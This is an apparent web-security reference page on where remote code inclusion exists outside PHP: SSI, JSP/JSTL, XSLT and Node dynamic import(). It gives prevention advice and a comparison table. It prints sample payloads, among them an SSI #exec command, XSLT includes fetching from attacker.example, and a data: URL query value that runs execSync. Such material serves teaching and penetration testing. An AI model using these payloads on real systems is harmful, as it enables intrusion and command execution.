Skip to content
highCVSS 8.1CWE-98A03:2021 – Injection

Remote Include Outside PHP

Only PHP has an allow_url_include to turn off — but almost nowhere else has the sink it protects. Here is where remote inclusion genuinely exists outside PHP.

Why there is so little here

"Remote file inclusion" needs two things at once: a sink that loads code by name, and a name resolver that will accept a URL. PHP has both, because its stream layer makes every filesystem function URL-capable.

Everywhere else, at most one of the two exists. Node has require() but its resolver only speaks filesystem paths. Java has RequestDispatcher.include() but it dispatches within the servlet context. Go has no dynamic include at all.

So the list below is short, and each entry is a specific mechanism rather than a general property of the runtime. For the traversal bugs these runtimes do have in abundance, see the Runtimes section and the cheatsheet.

Server-Side Includes

Apachethe sinkVulnerable
# SSI is the oldest member of this family and the most literal: a directive
# in an HTML file tells the web server to fetch and splice in another resource.

<!--#include virtual="/footer.html" -->

# 'virtual' resolves through the server's URL space, so it can reach a
# CGI or a proxied path. If the value is built from user input, that is an
# inclusion bug with the server's privileges.

<!--#exec cmd="id" -->

# And #exec is direct command execution. Apache disables it unless
# IncludesNOEXEC is off, but plenty of legacy configs enable Includes wholesale:
#   Options +Includes          <- #exec available
#   Options +IncludesNOEXEC    <- #include only

# Where you will meet it: appliance web UIs, older intranet applications,
# and anything with .shtml in the URL.

JSP and JSTL

Javathe sinksVulnerable
// <jsp:include> dispatches inside the servlet context. A page parameter
// built from a request parameter is a local inclusion — it cannot leave
// the application, but it can reach anything the context serves.
<jsp:include page="<%= request.getParameter("p") %>" />

// JSTL's <c:import> is the one that is genuinely remote. Unlike the two
// above, it accepts an absolute URL and will fetch it.
<c:import url="${param.url}" />

// That makes it SSRF at minimum. Whether it becomes execution depends on
// what the result is then used for — imported into a page that evaluates
// EL, written to disk, or parsed as a template.

// Prevention: never build a dispatch target or an import URL from a request
// parameter. Map an identifier through a fixed table, exactly as in PHP.
// See /guide/java-inclusion

XSLT and XML

XMLthe sinksVulnerable
<!-- If you control a stylesheet, xsl:include and xsl:import fetch by URI. -->
<xsl:include href="http://attacker.example/evil.xsl"/>

<!-- document() fetches at transform time, which is the SSRF primitive. -->
<xsl:value-of select="document('http://attacker.example/x')"/>

<!-- Some processors expose extension functions that reach further. Whether
     these exist depends entirely on the processor and its configuration:
     Xalan and Saxon-PE/EE have historically exposed Java bindings, libxslt
     does not. Enumerate before assuming. -->

<!-- The XML sibling of this whole family is external entity expansion,
     which is a different bug with a different fix — see xxe.page. -->

Node: ESM import of a data: URL

JavaScriptthe narrow caseVulnerable
// CommonJS require() takes filesystem paths only. A URL is a filename
// with a colon in it, and resolution fails.
require('http://attacker.example/x')      // fails

// ESM dynamic import() is different: the specifier is a URL, and Node
// supports the data: scheme for it.
await import('data:text/javascript,console.log(1)')   // runs

// So a dynamic import() built from user input is genuine remote code
// execution — no traversal, no filesystem, nothing to write.
await import(req.query.mod)
// ?mod=data:text/javascript,import('child_process').then(c=>c.execSync('id'))

// http(s): specifiers are NOT loadable by default — that needs the
// experimental network-imports flag, which nothing sane runs in production.
// data: needs no flag. That is the whole exposure.

// Prevention: never pass a request value to import(). Map to a fixed
// module table. See /guide/node-inclusion

Where this leaves you

MechanismTruly remote?Realistic outcome
PHP include('http://…')Yes, with allow_url_include=OnRCE — but off by default since 2006
PHP UNC path on WindowsYes, no flag appliesRCE, if outbound 445 survives
SSI #include virtualWithin the server's URL spaceInclusion; #exec is direct RCE
JSTL <c:import url>YesSSRF; RCE only if the result is then evaluated
XSLT document() / xsl:includeYesSSRF; RCE depends on the processor
Node dynamic import() of data:No fetch, but arbitrary codeRCE
Node require()NoLocal traversal only
Java RequestDispatcher.includeNoLocal, within the servlet context
Python, Ruby, .NET, GoNoLocal traversal only

The takeaway for testing

If the target is not PHP, stop looking for remote inclusion and start looking for traversal. The remote variant is either absent or requires a specific, uncommon mechanism from the list above.

That is not a downgrade of the engagement. Traversal in a modern deployment reaches environment files, mounted secrets, framework signing keys and cloud credentials — see Inclusion vs Traversal on why a read primitive is frequently the whole finding.

And if the target is PHP, the same advice applies for a different reason: remote inclusion is off, and the technique that works on the configuration in front of you is a filter chain.